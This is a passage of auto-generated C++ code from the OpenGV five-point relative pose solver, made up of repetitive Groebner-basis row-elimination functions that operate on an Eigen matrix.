groebnerMatrix(targetRow,153) -= factor * groebnerMatrix(30,153);
groebnerMatrix(targetRow,155) -= factor * groebnerMatrix(30,155);
groebnerMatrix(targetRow,156) -= factor * groebnerMatrix(30,156);
groebnerMatrix(targetRow,157) -= factor * groebnerMatrix(30,157);
groebnerMatrix(targetRow,158) -= factor * groebnerMatrix(30,158);
groebnerMatrix(targetRow,159) -= factor * groebnerMatrix(30,159);
groebnerMatrix(targetRow,160) -= factor * groebnerMatrix(30,160);
groebnerMatrix(targetRow,161) -= factor * groebnerMatrix(30,161);
groebnerMatrix(targetRow,162) -= factor * groebnerMatrix(30,162);
groebnerMatrix(targetRow,170) -= factor * groebnerMatrix(30,170);
groebnerMatrix(targetRow,171) -= factor * groebnerMatrix(30,171);
groebnerMatrix(targetRow,173) -= factor * groebnerMatrix(30,173);
groebnerMatrix(targetRow,174) -= factor * groebnerMatrix(30,174);
groebnerMatrix(targetRow,176) -= factor * groebnerMatrix(30,176);
groebnerMatrix(targetRow,177) -= factor * groebnerMatrix(30,177);
groebnerMatrix(targetRow,178) -= factor * groebnerMatrix(30,178);
groebnerMatrix(targetRow,179) -= factor * groebnerMatrix(30,179);
groebnerMatrix(targetRow,180) -= factor * groebnerMatrix(30,180);
groebnerMatrix(targetRow,181) -= factor * groebnerMatrix(30,181);
groebnerMatrix(targetRow,182) -= factor * groebnerMatrix(30,182);
groebnerMatrix(targetRow,183) -= factor * groebnerMatrix(30,183);
groebnerMatrix(targetRow,184) -= factor * groebnerMatrix(30,184);
groebnerMatrix(targetRow,185) -= factor * groebnerMatrix(30,185);
groebnerMatrix(targetRow,186) -= factor * groebnerMatrix(30,186);
groebnerMatrix(targetRow,187) -= factor * groebnerMatrix(30,187);
groebnerMatrix(targetRow,188) -= factor * groebnerMatrix(30,188);
groebnerMatrix(targetRow,189) -= factor * groebnerMatrix(30,189);
groebnerMatrix(targetRow,190) -= factor * groebnerMatrix(30,190);
groebnerMatrix(targetRow,191) -= factor * groebnerMatrix(30,191);
groebnerMatrix(targetRow,192) -= factor * groebnerMatrix(30,192);
groebnerMatrix(targetRow,193) -= factor * groebnerMatrix(30,193);
groebnerMatrix(targetRow,194) -= factor * groebnerMatrix(30,194);
groebnerMatrix(targetRow,195) -= factor * groebnerMatrix(30,195);
groebnerMatrix(targetRow,196) -= factor * groebnerMatrix(30,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow31_000000000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,153) / groebnerMatrix(31,153);
groebnerMatrix(targetRow,153) = 0.0;
groebnerMatrix(targetRow,155) -= factor * groebnerMatrix(31,155);
groebnerMatrix(targetRow,156) -= factor * groebnerMatrix(31,156);
groebnerMatrix(targetRow,157) -= factor * groebnerMatrix(31,157);
groebnerMatrix(targetRow,158) -= factor * groebnerMatrix(31,158);
groebnerMatrix(targetRow,159) -= factor * groebnerMatrix(31,159);
groebnerMatrix(targetRow,160) -= factor * groebnerMatrix(31,160);
groebnerMatrix(targetRow,161) -= factor * groebnerMatrix(31,161);
groebnerMatrix(targetRow,162) -= factor * groebnerMatrix(31,162);
groebnerMatrix(targetRow,170) -= factor * groebnerMatrix(31,170);
groebnerMatrix(targetRow,171) -= factor * groebnerMatrix(31,171);
groebnerMatrix(targetRow,173) -= factor * groebnerMatrix(31,173);
groebnerMatrix(targetRow,174) -= factor * groebnerMatrix(31,174);
groebnerMatrix(targetRow,176) -= factor * groebnerMatrix(31,176);
groebnerMatrix(targetRow,177) -= factor * groebnerMatrix(31,177);
groebnerMatrix(targetRow,178) -= factor * groebnerMatrix(31,178);
groebnerMatrix(targetRow,179) -= factor * groebnerMatrix(31,179);
groebnerMatrix(targetRow,180) -= factor * groebnerMatrix(31,180);
groebnerMatrix(targetRow,181) -= factor * groebnerMatrix(31,181);
groebnerMatrix(targetRow,182) -= factor * groebnerMatrix(31,182);
groebnerMatrix(targetRow,183) -= factor * groebnerMatrix(31,183);
groebnerMatrix(targetRow,184) -= factor * groebnerMatrix(31,184);
groebnerMatrix(targetRow,185) -= factor * groebnerMatrix(31,185);
groebnerMatrix(targetRow,186) -= factor * groebnerMatrix(31,186);
groebnerMatrix(targetRow,187) -= factor * groebnerMatrix(31,187);
groebnerMatrix(targetRow,188) -= factor * groebnerMatrix(31,188);
groebnerMatrix(targetRow,189) -= factor * groebnerMatrix(31,189);
groebnerMatrix(targetRow,190) -= factor * groebnerMatrix(31,190);
groebnerMatrix(targetRow,191) -= factor * groebnerMatrix(31,191);
groebnerMatrix(targetRow,192) -= factor * groebnerMatrix(31,192);
groebnerMatrix(targetRow,193) -= factor * groebnerMatrix(31,193);
groebnerMatrix(targetRow,194) -= factor * groebnerMatrix(31,194);
groebnerMatrix(targetRow,195) -= factor * groebnerMatrix(31,195);
groebnerMatrix(targetRow,196) -= factor * groebnerMatrix(31,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow32_000000000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,155) / groebnerMatrix(32,155);
groebnerMatrix(targetRow,155) = 0.0;
groebnerMatrix(targetRow,156) -= factor * groebnerMatrix(32,156);
groebnerMatrix(targetRow,157) -= factor * groebnerMatrix(32,157);
groebnerMatrix(targetRow,158) -= factor * groebnerMatrix(32,158);
groebnerMatrix(targetRow,159) -= factor * groebnerMatrix(32,159);
groebnerMatrix(targetRow,160) -= factor * groebnerMatrix(32,160);
groebnerMatrix(targetRow,161) -= factor * groebnerMatrix(32,161);
groebnerMatrix(targetRow,162) -= factor * groebnerMatrix(32,162);
groebnerMatrix(targetRow,170) -= factor * groebnerMatrix(32,170);
groebnerMatrix(targetRow,171) -= factor * groebnerMatrix(32,171);
groebnerMatrix(targetRow,173) -= factor * groebnerMatrix(32,173);
groebnerMatrix(targetRow,174) -= factor * groebnerMatrix(32,174);
groebnerMatrix(targetRow,176) -= factor * groebnerMatrix(32,176);
groebnerMatrix(targetRow,177) -= factor * groebnerMatrix(32,177);
groebnerMatrix(targetRow,178) -= factor * groebnerMatrix(32,178);
groebnerMatrix(targetRow,179) -= factor * groebnerMatrix(32,179);
groebnerMatrix(targetRow,180) -= factor * groebnerMatrix(32,180);
groebnerMatrix(targetRow,181) -= factor * groebnerMatrix(32,181);
groebnerMatrix(targetRow,182) -= factor * groebnerMatrix(32,182);
groebnerMatrix(targetRow,183) -= factor * groebnerMatrix(32,183);
groebnerMatrix(targetRow,184) -= factor * groebnerMatrix(32,184);
groebnerMatrix(targetRow,185) -= factor * groebnerMatrix(32,185);
groebnerMatrix(targetRow,186) -= factor * groebnerMatrix(32,186);
groebnerMatrix(targetRow,187) -= factor * groebnerMatrix(32,187);
groebnerMatrix(targetRow,188) -= factor * groebnerMatrix(32,188);
groebnerMatrix(targetRow,189) -= factor * groebnerMatrix(32,189);
groebnerMatrix(targetRow,190) -= factor * groebnerMatrix(32,190);
groebnerMatrix(targetRow,191) -= factor * groebnerMatrix(32,191);
groebnerMatrix(targetRow,192) -= factor * groebnerMatrix(32,192);
groebnerMatrix(targetRow,193) -= factor * groebnerMatrix(32,193);
groebnerMatrix(targetRow,194) -= factor * groebnerMatrix(32,194);
groebnerMatrix(targetRow,195) -= factor * groebnerMatrix(32,195);
groebnerMatrix(targetRow,196) -= factor * groebnerMatrix(32,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow33_000000000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,156) / groebnerMatrix(33,156);
groebnerMatrix(targetRow,156) = 0.0;
groebnerMatrix(targetRow,157) -= factor * groebnerMatrix(33,157);
groebnerMatrix(targetRow,158) -= factor * groebnerMatrix(33,158);
groebnerMatrix(targetRow,159) -= factor * groebnerMatrix(33,159);
groebnerMatrix(targetRow,160) -= factor * groebnerMatrix(33,160);
groebnerMatrix(targetRow,161) -= factor * groebnerMatrix(33,161);
groebnerMatrix(targetRow,162) -= factor * groebnerMatrix(33,162);
groebnerMatrix(targetRow,170) -= factor * groebnerMatrix(33,170);
groebnerMatrix(targetRow,171) -= factor * groebnerMatrix(33,171);
groebnerMatrix(targetRow,173) -= factor * groebnerMatrix(33,173);
groebnerMatrix(targetRow,174) -= factor * groebnerMatrix(33,174);
groebnerMatrix(targetRow,176) -= factor * groebnerMatrix(33,176);
groebnerMatrix(targetRow,177) -= factor * groebnerMatrix(33,177);
groebnerMatrix(targetRow,178) -= factor * groebnerMatrix(33,178);
groebnerMatrix(targetRow,179) -= factor * groebnerMatrix(33,179);
groebnerMatrix(targetRow,180) -= factor * groebnerMatrix(33,180);
groebnerMatrix(targetRow,181) -= factor * groebnerMatrix(33,181);
groebnerMatrix(targetRow,182) -= factor * groebnerMatrix(33,182);
groebnerMatrix(targetRow,183) -= factor * groebnerMatrix(33,183);
groebnerMatrix(targetRow,184) -= factor * groebnerMatrix(33,184);
groebnerMatrix(targetRow,185) -= factor * groebnerMatrix(33,185);
groebnerMatrix(targetRow,186) -= factor * groebnerMatrix(33,186);
groebnerMatrix(targetRow,187) -= factor * groebnerMatrix(33,187);
groebnerMatrix(targetRow,188) -= factor * groebnerMatrix(33,188);
groebnerMatrix(targetRow,189) -= factor * groebnerMatrix(33,189);
groebnerMatrix(targetRow,190) -= factor * groebnerMatrix(33,190);
groebnerMatrix(targetRow,191) -= factor * groebnerMatrix(33,191);
groebnerMatrix(targetRow,192) -= factor * groebnerMatrix(33,192);
groebnerMatrix(targetRow,193) -= factor * groebnerMatrix(33,193);
groebnerMatrix(targetRow,194) -= factor * groebnerMatrix(33,194);
groebnerMatrix(targetRow,195) -= factor * groebnerMatrix(33,195);
groebnerMatrix(targetRow,196) -= factor * groebnerMatrix(33,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow34_000000000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,157) / groebnerMatrix(34,157);
groebnerMatrix(targetRow,157) = 0.0;
groebnerMatrix(targetRow,158) -= factor * groebnerMatrix(34,158);
groebnerMatrix(targetRow,159) -= factor * groebnerMatrix(34,159);
groebnerMatrix(targetRow,160) -= factor * groebnerMatrix(34,160);
groebnerMatrix(targetRow,161) -= factor * groebnerMatrix(34,161);
groebnerMatrix(targetRow,162) -= factor * groebnerMatrix(34,162);
groebnerMatrix(targetRow,170) -= factor * groebnerMatrix(34,170);
groebnerMatrix(targetRow,171) -= factor * groebnerMatrix(34,171);
groebnerMatrix(targetRow,173) -= factor * groebnerMatrix(34,173);
groebnerMatrix(targetRow,174) -= factor * groebnerMatrix(34,174);
groebnerMatrix(targetRow,176) -= factor * groebnerMatrix(34,176);
groebnerMatrix(targetRow,177) -= factor * groebnerMatrix(34,177);
groebnerMatrix(targetRow,178) -= factor * groebnerMatrix(34,178);
groebnerMatrix(targetRow,179) -= factor * groebnerMatrix(34,179);
groebnerMatrix(targetRow,180) -= factor * groebnerMatrix(34,180);
groebnerMatrix(targetRow,181) -= factor * groebnerMatrix(34,181);
groebnerMatrix(targetRow,182) -= factor * groebnerMatrix(34,182);
groebnerMatrix(targetRow,183) -= factor * groebnerMatrix(34,183);
groebnerMatrix(targetRow,184) -= factor * groebnerMatrix(34,184);
groebnerMatrix(targetRow,185) -= factor * groebnerMatrix(34,185);
groebnerMatrix(targetRow,186) -= factor * groebnerMatrix(34,186);
groebnerMatrix(targetRow,187) -= factor * groebnerMatrix(34,187);
groebnerMatrix(targetRow,188) -= factor * groebnerMatrix(34,188);
groebnerMatrix(targetRow,189) -= factor * groebnerMatrix(34,189);
groebnerMatrix(targetRow,190) -= factor * groebnerMatrix(34,190);
groebnerMatrix(targetRow,191) -= factor * groebnerMatrix(34,191);
groebnerMatrix(targetRow,192) -= factor * groebnerMatrix(34,192);
groebnerMatrix(targetRow,193) -= factor * groebnerMatrix(34,193);
groebnerMatrix(targetRow,194) -= factor * groebnerMatrix(34,194);
groebnerMatrix(targetRow,195) -= factor * groebnerMatrix(34,195);
groebnerMatrix(targetRow,196) -= factor * groebnerMatrix(34,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow35_000000000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,158) / groebnerMatrix(35,158);
groebnerMatrix(targetRow,158) = 0.0;
groebnerMatrix(targetRow,159) -= factor * groebnerMatrix(35,159);
groebnerMatrix(targetRow,160) -= factor * groebnerMatrix(35,160);
groebnerMatrix(targetRow,161) -= factor * groebnerMatrix(35,161);
groebnerMatrix(targetRow,162) -= factor * groebnerMatrix(35,162);
groebnerMatrix(targetRow,170) -= factor * groebnerMatrix(35,170);
groebnerMatrix(targetRow,171) -= factor * groebnerMatrix(35,171);
groebnerMatrix(targetRow,173) -= factor * groebnerMatrix(35,173);
groebnerMatrix(targetRow,174) -= factor * groebnerMatrix(35,174);
groebnerMatrix(targetRow,176) -= factor * groebnerMatrix(35,176);
groebnerMatrix(targetRow,177) -= factor * groebnerMatrix(35,177);
groebnerMatrix(targetRow,178) -= factor * groebnerMatrix(35,178);
groebnerMatrix(targetRow,179) -= factor * groebnerMatrix(35,179);
groebnerMatrix(targetRow,180) -= factor * groebnerMatrix(35,180);
groebnerMatrix(targetRow,181) -= factor * groebnerMatrix(35,181);
groebnerMatrix(targetRow,182) -= factor * groebnerMatrix(35,182);
groebnerMatrix(targetRow,183) -= factor * groebnerMatrix(35,183);
groebnerMatrix(targetRow,184) -= factor * groebnerMatrix(35,184);
groebnerMatrix(targetRow,185) -= factor * groebnerMatrix(35,185);
groebnerMatrix(targetRow,186) -= factor * groebnerMatrix(35,186);
groebnerMatrix(targetRow,187) -= factor * groebnerMatrix(35,187);
groebnerMatrix(targetRow,188) -= factor * groebnerMatrix(35,188);
groebnerMatrix(targetRow,189) -= factor * groebnerMatrix(35,189);
groebnerMatrix(targetRow,190) -= factor * groebnerMatrix(35,190);
groebnerMatrix(targetRow,191) -= factor * groebnerMatrix(35,191);
groebnerMatrix(targetRow,192) -= factor * groebnerMatrix(35,192);
groebnerMatrix(targetRow,193) -= factor * groebnerMatrix(35,193);
groebnerMatrix(targetRow,194) -= factor * groebnerMatrix(35,194);
groebnerMatrix(targetRow,195) -= factor * groebnerMatrix(35,195);
groebnerMatrix(targetRow,196) -= factor * groebnerMatrix(35,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow36_000000000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,159) / groebnerMatrix(36,159);
groebnerMatrix(targetRow,159) = 0.0;
groebnerMatrix(targetRow,160) -= factor * groebnerMatrix(36,160);
groebnerMatrix(targetRow,161) -= factor * groebnerMatrix(36,161);
groebnerMatrix(targetRow,162) -= factor * groebnerMatrix(36,162);
groebnerMatrix(targetRow,170) -= factor * groebnerMatrix(36,170);
groebnerMatrix(targetRow,171) -= factor * groebnerMatrix(36,171);
groebnerMatrix(targetRow,173) -= factor * groebnerMatrix(36,173);
groebnerMatrix(targetRow,174) -= factor * groebnerMatrix(36,174);
groebnerMatrix(targetRow,176) -= factor * groebnerMatrix(36,176);
groebnerMatrix(targetRow,177) -= factor * groebnerMatrix(36,177);
groebnerMatrix(targetRow,178) -= factor * groebnerMatrix(36,178);
groebnerMatrix(targetRow,179) -= factor * groebnerMatrix(36,179);
groebnerMatrix(targetRow,180) -= factor * groebnerMatrix(36,180);
groebnerMatrix(targetRow,181) -= factor * groebnerMatrix(36,181);
groebnerMatrix(targetRow,182) -= factor * groebnerMatrix(36,182);
groebnerMatrix(targetRow,183) -= factor * groebnerMatrix(36,183);
groebnerMatrix(targetRow,184) -= factor * groebnerMatrix(36,184);
groebnerMatrix(targetRow,185) -= factor * groebnerMatrix(36,185);
groebnerMatrix(targetRow,186) -= factor * groebnerMatrix(36,186);
groebnerMatrix(targetRow,187) -= factor * groebnerMatrix(36,187);
groebnerMatrix(targetRow,188) -= factor * groebnerMatrix(36,188);
groebnerMatrix(targetRow,189) -= factor * groebnerMatrix(36,189);
groebnerMatrix(targetRow,190) -= factor * groebnerMatrix(36,190);
groebnerMatrix(targetRow,191) -= factor * groebnerMatrix(36,191);
groebnerMatrix(targetRow,192) -= factor * groebnerMatrix(36,192);
groebnerMatrix(targetRow,193) -= factor * groebnerMatrix(36,193);
groebnerMatrix(targetRow,194) -= factor * groebnerMatrix(36,194);
groebnerMatrix(targetRow,195) -= factor * groebnerMatrix(36,195);
groebnerMatrix(targetRow,196) -= factor * groebnerMatrix(36,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow37_000000000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,160) / groebnerMatrix(37,160);
groebnerMatrix(targetRow,160) = 0.0;
groebnerMatrix(targetRow,161) -= factor * groebnerMatrix(37,161);
groebnerMatrix(targetRow,162) -= factor * groebnerMatrix(37,162);
groebnerMatrix(targetRow,170) -= factor * groebnerMatrix(37,170);
groebnerMatrix(targetRow,171) -= factor * groebnerMatrix(37,171);
groebnerMatrix(targetRow,173) -= factor * groebnerMatrix(37,173);
groebnerMatrix(targetRow,174) -= factor * groebnerMatrix(37,174);
groebnerMatrix(targetRow,176) -= factor * groebnerMatrix(37,176);
groebnerMatrix(targetRow,177) -= factor * groebnerMatrix(37,177);
groebnerMatrix(targetRow,178) -= factor * groebnerMatrix(37,178);
groebnerMatrix(targetRow,179) -= factor * groebnerMatrix(37,179);
groebnerMatrix(targetRow,180) -= factor * groebnerMatrix(37,180);
groebnerMatrix(targetRow,181) -= factor * groebnerMatrix(37,181);
groebnerMatrix(targetRow,182) -= factor * groebnerMatrix(37,182);
groebnerMatrix(targetRow,183) -= factor * groebnerMatrix(37,183);
groebnerMatrix(targetRow,184) -= factor * groebnerMatrix(37,184);
groebnerMatrix(targetRow,185) -= factor * groebnerMatrix(37,185);
groebnerMatrix(targetRow,186) -= factor * groebnerMatrix(37,186);
groebnerMatrix(targetRow,187) -= factor * groebnerMatrix(37,187);
groebnerMatrix(targetRow,188) -= factor * groebnerMatrix(37,188);
groebnerMatrix(targetRow,189) -= factor * groebnerMatrix(37,189);
groebnerMatrix(targetRow,190) -= factor * groebnerMatrix(37,190);
groebnerMatrix(targetRow,191) -= factor * groebnerMatrix(37,191);
groebnerMatrix(targetRow,192) -= factor * groebnerMatrix(37,192);
groebnerMatrix(targetRow,193) -= factor * groebnerMatrix(37,193);
groebnerMatrix(targetRow,194) -= factor * groebnerMatrix(37,194);
groebnerMatrix(targetRow,195) -= factor * groebnerMatrix(37,195);
groebnerMatrix(targetRow,196) -= factor * groebnerMatrix(37,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow38_000000000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,161) / groebnerMatrix(38,161);
groebnerMatrix(targetRow,161) = 0.0;
groebnerMatrix(targetRow,162) -= factor * groebnerMatrix(38,162);
groebnerMatrix(targetRow,170) -= factor * groebnerMatrix(38,170);
groebnerMatrix(targetRow,171) -= factor * groebnerMatrix(38,171);
groebnerMatrix(targetRow,173) -= factor * groebnerMatrix(38,173);
groebnerMatrix(targetRow,174) -= factor * groebnerMatrix(38,174);
groebnerMatrix(targetRow,176) -= factor * groebnerMatrix(38,176);
groebnerMatrix(targetRow,177) -= factor * groebnerMatrix(38,177);
groebnerMatrix(targetRow,178) -= factor * groebnerMatrix(38,178);
groebnerMatrix(targetRow,179) -= factor * groebnerMatrix(38,179);
groebnerMatrix(targetRow,180) -= factor * groebnerMatrix(38,180);
groebnerMatrix(targetRow,181) -= factor * groebnerMatrix(38,181);
groebnerMatrix(targetRow,182) -= factor * groebnerMatrix(38,182);
groebnerMatrix(targetRow,183) -= factor * groebnerMatrix(38,183);
groebnerMatrix(targetRow,184) -= factor * groebnerMatrix(38,184);
groebnerMatrix(targetRow,185) -= factor * groebnerMatrix(38,185);
groebnerMatrix(targetRow,186) -= factor * groebnerMatrix(38,186);
groebnerMatrix(targetRow,187) -= factor * groebnerMatrix(38,187);
groebnerMatrix(targetRow,188) -= factor * groebnerMatrix(38,188);
groebnerMatrix(targetRow,189) -= factor * groebnerMatrix(38,189);
groebnerMatrix(targetRow,190) -= factor * groebnerMatrix(38,190);
groebnerMatrix(targetRow,191) -= factor * groebnerMatrix(38,191);
groebnerMatrix(targetRow,192) -= factor * groebnerMatrix(38,192);
groebnerMatrix(targetRow,193) -= factor * groebnerMatrix(38,193);
groebnerMatrix(targetRow,194) -= factor * groebnerMatrix(38,194);
groebnerMatrix(targetRow,195) -= factor * groebnerMatrix(38,195);
groebnerMatrix(targetRow,196) -= factor * groebnerMatrix(38,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow38_100000000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,116) / groebnerMatrix(38,161);
groebnerMatrix(targetRow,116) = 0.0;
groebnerMatrix(targetRow,117) -= factor * groebnerMatrix(38,162);
groebnerMatrix(targetRow,125) -= factor * groebnerMatrix(38,170);
groebnerMatrix(targetRow,126) -= factor * groebnerMatrix(38,171);
groebnerMatrix(targetRow,128) -= factor * groebnerMatrix(38,173);
groebnerMatrix(targetRow,129) -= factor * groebnerMatrix(38,174);
groebnerMatrix(targetRow,131) -= factor * groebnerMatrix(38,176);
groebnerMatrix(targetRow,132) -= factor * groebnerMatrix(38,177);
groebnerMatrix(targetRow,133) -= factor * groebnerMatrix(38,178);
groebnerMatrix(targetRow,134) -= factor * groebnerMatrix(38,179);
groebnerMatrix(targetRow,135) -= factor * groebnerMatrix(38,180);
groebnerMatrix(targetRow,136) -= factor * groebnerMatrix(38,181);
groebnerMatrix(targetRow,137) -= factor * groebnerMatrix(38,182);
groebnerMatrix(targetRow,138) -= factor * groebnerMatrix(38,183);
groebnerMatrix(targetRow,139) -= factor * groebnerMatrix(38,184);
groebnerMatrix(targetRow,140) -= factor * groebnerMatrix(38,185);
groebnerMatrix(targetRow,141) -= factor * groebnerMatrix(38,186);
groebnerMatrix(targetRow,178) -= factor * groebnerMatrix(38,187);
groebnerMatrix(targetRow,179) -= factor * groebnerMatrix(38,188);
groebnerMatrix(targetRow,180) -= factor * groebnerMatrix(38,189);
groebnerMatrix(targetRow,181) -= factor * groebnerMatrix(38,190);
groebnerMatrix(targetRow,182) -= factor * groebnerMatrix(38,191);
groebnerMatrix(targetRow,183) -= factor * groebnerMatrix(38,192);
groebnerMatrix(targetRow,184) -= factor * groebnerMatrix(38,193);
groebnerMatrix(targetRow,185) -= factor * groebnerMatrix(38,194);
groebnerMatrix(targetRow,186) -= factor * groebnerMatrix(38,195);
groebnerMatrix(targetRow,195) -= factor * groebnerMatrix(38,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow39_100000000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,117) / groebnerMatrix(39,162);
groebnerMatrix(targetRow,117) = 0.0;
groebnerMatrix(targetRow,125) -= factor * groebnerMatrix(39,170);
groebnerMatrix(targetRow,126) -= factor * groebnerMatrix(39,171);
groebnerMatrix(targetRow,128) -= factor * groebnerMatrix(39,173);
groebnerMatrix(targetRow,129) -= factor * groebnerMatrix(39,174);
groebnerMatrix(targetRow,131) -= factor * groebnerMatrix(39,176);
groebnerMatrix(targetRow,132) -= factor * groebnerMatrix(39,177);
groebnerMatrix(targetRow,133) -= factor * groebnerMatrix(39,178);
groebnerMatrix(targetRow,134) -= factor * groebnerMatrix(39,179);
groebnerMatrix(targetRow,135) -= factor * groebnerMatrix(39,180);
groebnerMatrix(targetRow,136) -= factor * groebnerMatrix(39,181);
groebnerMatrix(targetRow,137) -= factor * groebnerMatrix(39,182);
groebnerMatrix(targetRow,138) -= factor * groebnerMatrix(39,183);
groebnerMatrix(targetRow,139) -= factor * groebnerMatrix(39,184);
groebnerMatrix(targetRow,140) -= factor * groebnerMatrix(39,185);
groebnerMatrix(targetRow,141) -= factor * groebnerMatrix(39,186);
groebnerMatrix(targetRow,178) -= factor * groebnerMatrix(39,187);
groebnerMatrix(targetRow,179) -= factor * groebnerMatrix(39,188);
groebnerMatrix(targetRow,180) -= factor * groebnerMatrix(39,189);
groebnerMatrix(targetRow,181) -= factor * groebnerMatrix(39,190);
groebnerMatrix(targetRow,182) -= factor * groebnerMatrix(39,191);
groebnerMatrix(targetRow,183) -= factor * groebnerMatrix(39,192);
groebnerMatrix(targetRow,184) -= factor * groebnerMatrix(39,193);
groebnerMatrix(targetRow,185) -= factor * groebnerMatrix(39,194);
groebnerMatrix(targetRow,186) -= factor * groebnerMatrix(39,195);
groebnerMatrix(targetRow,195) -= factor * groebnerMatrix(39,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow39_000000000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,162) / groebnerMatrix(39,162);
groebnerMatrix(targetRow,162) = 0.0;
groebnerMatrix(targetRow,170) -= factor * groebnerMatrix(39,170);
groebnerMatrix(targetRow,171) -= factor * groebnerMatrix(39,171);
groebnerMatrix(targetRow,173) -= factor * groebnerMatrix(39,173);
groebnerMatrix(targetRow,174) -= factor * groebnerMatrix(39,174);
groebnerMatrix(targetRow,176) -= factor * groebnerMatrix(39,176);
groebnerMatrix(targetRow,177) -= factor * groebnerMatrix(39,177);
groebnerMatrix(targetRow,178) -= factor * groebnerMatrix(39,178);
groebnerMatrix(targetRow,179) -= factor * groebnerMatrix(39,179);
groebnerMatrix(targetRow,180) -= factor * groebnerMatrix(39,180);
groebnerMatrix(targetRow,181) -= factor * groebnerMatrix(39,181);
groebnerMatrix(targetRow,182) -= factor * groebnerMatrix(39,182);
groebnerMatrix(targetRow,183) -= factor * groebnerMatrix(39,183);
groebnerMatrix(targetRow,184) -= factor * groebnerMatrix(39,184);
groebnerMatrix(targetRow,185) -= factor * groebnerMatrix(39,185);
groebnerMatrix(targetRow,186) -= factor * groebnerMatrix(39,186);
groebnerMatrix(targetRow,187) -= factor * groebnerMatrix(39,187);
groebnerMatrix(targetRow,188) -= factor * groebnerMatrix(39,188);
groebnerMatrix(targetRow,189) -= factor * groebnerMatrix(39,189);
groebnerMatrix(targetRow,190) -= factor * groebnerMatrix(39,190);
groebnerMatrix(targetRow,191) -= factor * groebnerMatrix(39,191);
groebnerMatrix(targetRow,192) -= factor * groebnerMatrix(39,192);
groebnerMatrix(targetRow,193) -= factor * groebnerMatrix(39,193);
groebnerMatrix(targetRow,194) -= factor * groebnerMatrix(39,194);
groebnerMatrix(targetRow,195) -= factor * groebnerMatrix(39,195);
groebnerMatrix(targetRow,196) -= factor * groebnerMatrix(39,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow40_000000000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,89) / groebnerMatrix(40,89);
groebnerMatrix(targetRow,89) = 0.0;
groebnerMatrix(targetRow,90) -= factor * groebnerMatrix(40,90);
groebnerMatrix(targetRow,92) -= factor * groebnerMatrix(40,92);
groebnerMatrix(targetRow,93) -= factor * groebnerMatrix(40,93);
groebnerMatrix(targetRow,95) -= factor * groebnerMatrix(40,95);
groebnerMatrix(targetRow,96) -= factor * groebnerMatrix(40,96);
groebnerMatrix(targetRow,125) -= factor * groebnerMatrix(40,125);
groebnerMatrix(targetRow,126) -= factor * groebnerMatrix(40,126);
groebnerMatrix(targetRow,128) -= factor * groebnerMatrix(40,128);
groebnerMatrix(targetRow,129) -= factor * groebnerMatrix(40,129);
groebnerMatrix(targetRow,131) -= factor * groebnerMatrix(40,131);
groebnerMatrix(targetRow,132) -= factor * groebnerMatrix(40,132);
groebnerMatrix(targetRow,133) -= factor * groebnerMatrix(40,133);
groebnerMatrix(targetRow,134) -= factor * groebnerMatrix(40,134);
groebnerMatrix(targetRow,135) -= factor * groebnerMatrix(40,135);
groebnerMatrix(targetRow,136) -= factor * groebnerMatrix(40,136);
groebnerMatrix(targetRow,137) -= factor * groebnerMatrix(40,137);
groebnerMatrix(targetRow,138) -= factor * groebnerMatrix(40,138);
groebnerMatrix(targetRow,139) -= factor * groebnerMatrix(40,139);
groebnerMatrix(targetRow,140) -= factor * groebnerMatrix(40,140);
groebnerMatrix(targetRow,141) -= factor * groebnerMatrix(40,141);
groebnerMatrix(targetRow,170) -= factor * groebnerMatrix(40,170);
groebnerMatrix(targetRow,171) -= factor * groebnerMatrix(40,171);
groebnerMatrix(targetRow,173) -= factor * groebnerMatrix(40,173);
groebnerMatrix(targetRow,174) -= factor * groebnerMatrix(40,174);
groebnerMatrix(targetRow,176) -= factor * groebnerMatrix(40,176);
groebnerMatrix(targetRow,177) -= factor * groebnerMatrix(40,177);
groebnerMatrix(targetRow,178) -= factor * groebnerMatrix(40,178);
groebnerMatrix(targetRow,179) -= factor * groebnerMatrix(40,179);
groebnerMatrix(targetRow,180) -= factor * groebnerMatrix(40,180);
groebnerMatrix(targetRow,181) -= factor * groebnerMatrix(40,181);
groebnerMatrix(targetRow,182) -= factor * groebnerMatrix(40,182);
groebnerMatrix(targetRow,183) -= factor * groebnerMatrix(40,183);
groebnerMatrix(targetRow,184) -= factor * groebnerMatrix(40,184);
groebnerMatrix(targetRow,185) -= factor * groebnerMatrix(40,185);
groebnerMatrix(targetRow,186) -= factor * groebnerMatrix(40,186);
groebnerMatrix(targetRow,187) -= factor * groebnerMatrix(40,187);
groebnerMatrix(targetRow,188) -= factor * groebnerMatrix(40,188);
